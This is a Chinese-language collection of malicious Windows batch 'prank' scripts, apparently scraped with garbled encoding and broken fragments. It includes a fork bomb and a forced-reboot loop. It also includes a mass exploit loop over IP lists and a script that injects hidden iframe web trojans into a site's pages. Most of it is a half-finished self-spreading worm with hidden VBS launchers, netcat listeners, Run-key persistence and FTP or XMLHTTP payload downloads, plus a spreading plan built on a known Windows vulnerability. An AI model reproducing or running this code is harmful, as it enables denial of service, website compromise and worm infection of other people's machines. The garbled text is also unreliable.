一些bat惡搞代碼

1、第一個(gè)：讓別人內(nèi)存OVER©他重啟）echo offstart cmd%0就這 3 行了第二個(gè) : 讓對(duì)方重啟指定次數(shù)（ 害人專用 ）echo offif not exist c:1.txt echo. >c:1.txt & goto err1if not exist c:2.txt echo. >c:2.txt & goto err1if not exist c:3.txt echo. >c:3.txt & goto err1if not exist c:4.txt echo. >c:4.txt & goto err1if n

2、ot exist c:5.txt echo. >c:5.txt & goto err1goto err2:err1shutdown -s -t 0:err2上面可以讓對(duì)方電腦重啟 5 次后不在重啟第三個(gè) : 自動(dòng)踢人 （3389 肉機(jī)保護(hù)自己專用 ）echo offlogoff 1del log.batlogoff 后面的 1 改成自己登陸的 ID 號(hào), 用 query user 查看第四個(gè) : 批量自動(dòng)溢出for /f %i in （result.txt） do 42 %i 58 521先自己用NC監(jiān)聽端口，多開幾個(gè)，然后指行，就自動(dòng)溢出了第五個(gè) : 自動(dòng)掛

3、馬改主頁 echo offclsrem 直接打批處理名字就有幫助title 批量掛馬 , 改首頁 （傷腦筋 QQ:447228437）.color Aset pan=%1set ye=%2set dai=%3if "%pan%"="" goto e1if "%ye%"="" goto e1if "%dai%"="" goto e1if "%dai%"="htm.txt" goto u1forfiles /p %pan% /m %ye%

4、/s /c "cmd /c if isdir=FALSE echo A<iframe src="http:/%dai%" width="0" height="0" frameborder="0"A> >>path" echo.echo 代碼全部插入完畢 !echo.pausegoto e1:u1echo您現(xiàn)在的操作將使pan魏下，全部名為ye%J內(nèi)容變?yōu)槟牡膬?nèi)容.echo 這將是非常危險(xiǎn)的 , 您真的要這樣做? 回車卻認(rèn) ,Ctrl+c 取消操作 .pausefor

5、files /p %pan% /m %ye% /s /c "cmd /c if isdir=FALSE copy %1htm.txt path /y" echo.echo首頁全部更改完必！!！如果您發(fā)現(xiàn)沒有替換成功，請(qǐng)將ye%C件只讀屬性去掉 .echo.pause:e1echo.echo 本批處理只適用于2003 系統(tǒng) , 其他系統(tǒng)要使用 , 請(qǐng)將 forfiles.exe 拷貝至系統(tǒng)盤 system32 目錄下echo 用法 :snj A< 搜索盤符 A> A< 文件名 A> A< 網(wǎng)馬地址 A>echo 例子 :snj d: ind

6、ex.asp echo 批處理將自動(dòng)添加A<iframeA> 標(biāo)記echo.echo 如果您要更改全部網(wǎng)站的首頁! 請(qǐng)?jiān)谂幚砦募谀夸浵?, 新建一個(gè)名為htm.txt 的文本文件.echo然后將要更改的代碼加COPY&J里面保存.然后將命令的a<網(wǎng)馬地址a>項(xiàng)輸 入為 htm.txt 即可 .echo 例子 :snj d: index.asp htm.txtecho.echo 為了能準(zhǔn)確無誤執(zhí)行批處理請(qǐng)最好先把記事本的 " 自動(dòng)換行功能去掉", 讓命令保持在一行才能正確執(zhí)行.echo.echo 使用此批處理造成一切后果本人概不負(fù)責(zé), 請(qǐng)

7、大家謹(jǐn)慎使用echo.第六個(gè) : 利用批處理編寫利用系統(tǒng)漏洞傳播的蠕蟲病毒本來想寫完后在做教程, 要去學(xué)校了 , 所以先把思路告訴大家, 大家可以先自己寫寫,我有時(shí)間寫完發(fā)到群里.這些是我未完成的批處理, 大家可以在此基礎(chǔ)上按照我下面說的思路繼續(xù)寫完del c:42.exedel c:nc.exedel c:ip.exeecho dim wsh > %systemroot%helptest.vbsecho setwsh=CreateObject("WScript.Shell") >> %systemroot%helptest.vbs echo wsh.ru

8、n "cmd /c %systemroot%helpnc -v -l -p 810< %systemroot%helpor.txt",0 >> %systemroot%helptest.vbsecho dim wsh > %systemroot%helptest2.vbsecho setwsh=CreateObject("WScript.Shell") >> %systemroot%helptest2.vbs echo wsh.run "cmd /cstart %systemroot%helpgood.bat

9、",0 >> %systemroot%helptest2.vbsecho open > %systemroot%helpftp.txtecho open myyes >> %systemroot%helpftp.txtecho 1 >> %systemroot%helpftp.txtecho binary >> %systemroot%helpftp.txtecho get 42.exe c:42.exe >> %systemroot%helpftp.txtecho get nc.exe c:nc.e

10、xe >> %systemroot%helpftp.txtecho get ip.exe c:ip.exe >> %systemroot%helpftp.txtecho bye >> %systemroot%helpftp.txtecho echo Set xPost = CreateObject("Microsoft.XMLHTTP")A>1.vbs > %systemroot%helpor.txtecho echo xPost.Open "GET","/my.exe

11、&quo.,0A>A>1.vbs >> %systemroot%helpor.txtecho echo xPost.Send() A>A>1.vbs >> %systemroot%helpor.txtecho echo Set sGet = CreateObject("ADODB.Stream")A>A>1.vbs >> %systemroot%helpor.txtecho echo sGet.Mode = 3 A>A>1.vbs >> %systemroot%helpo

12、r.txtecho echo sGet.Type = 1 A>A>1.vbs >> %systemroot%helpor.txtecho echo sGet.Write(xPost.responseBody)A>A>1.vbs >> %systemroot%helpor.txtecho echo sGet.SaveToFile "d:my.exe",2A>A>1.vbs >> %systemroot%helpor.txtecho echo 1.vbs A>A>1.vbs >> %

13、systemroot%helpor.txtecho echo my.exe A>A>1.vbs >> %systemroot%helpor.txtecho Windows Registry Editor Version 5.00 > %systemroot%help1.regechoHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun >> %systemroot%help1.reg系統(tǒng)安全工具FireWallPFW.exe" >> %systemroot%help

14、1.regecho "1"="%systemroot%helptest2.vbs" >> %systemroot%help1.regif not exist %systemroot%helpgood.bat copygood.bat %systemroot%helpgood.bat & %systemroot%helptest2.vbs & del good.batregedit -s %systemroot%help1.regftp -s:%systemroot%helpftp.txtmove c:nc.exe %syste

15、mroot%help /ymove c:42.exe %systemroot%help /ymove c:ip.exe %systemroot%help /y%systemroot%helptest.vbsrem for /f %i in (result1.txt) do set a=%irem for /f %j in (result.txt) do 42 %a% %j 810準(zhǔn)備 :1:找一個(gè)反向連接的溢出攻擊程序,如ms06040漏洞2:找呀一個(gè)免費(fèi)FTP空間，最好是送域名的3: 利用你所知道的高級(jí)語言編寫一個(gè), 能生成隨機(jī)范圍 IP 地址和找到本機(jī)IP 的工具 .思路 :用 for 語

16、句對(duì)指定文本里的 IP 進(jìn)行溢出 , 然后用 if 語句判斷是否溢出成功 , 如果成功開啟一個(gè)NC監(jiān)聽端口，NC后面帶一個(gè) < 輸入符號(hào)輸入的內(nèi)容為下載本批處理文件, 然后執(zhí)行這個(gè)批處理. 這樣被溢出的機(jī)器就又會(huì)在他那里運(yùn)行我門的批處理, 從而到自動(dòng)傳播的目的 .把批處理生成的文件集中放到一個(gè)目錄下,可以systemroot%系統(tǒng)變量直接放到系統(tǒng)目錄下因?yàn)榕幚磉\(yùn)行后會(huì)閃出命令行窗口 ，我門可以利用VBS 腳本來運(yùn)行我們的批處理 , 這樣就不會(huì)有任何窗口出現(xiàn), 腳本如下echo dim wsh > %systemroot%helptest.vbsecho setwsh=Create

17、Object("WScript.Shell") >> %systemroot%helptest.vbsecho wsh.run "cmd /c %systemroot%helpnc -v -l -p 810< %systemroot%helpor.txt",0 >> %systemroot%helptest.vbs生成隨機(jī)IP工具的VB代碼Private Sub Form_Load()Dim fso As New FileSystemObjectDim a, b, c, d As IntegerDim ph, e As Stringph = App.Path & "" & "ip.txt" Random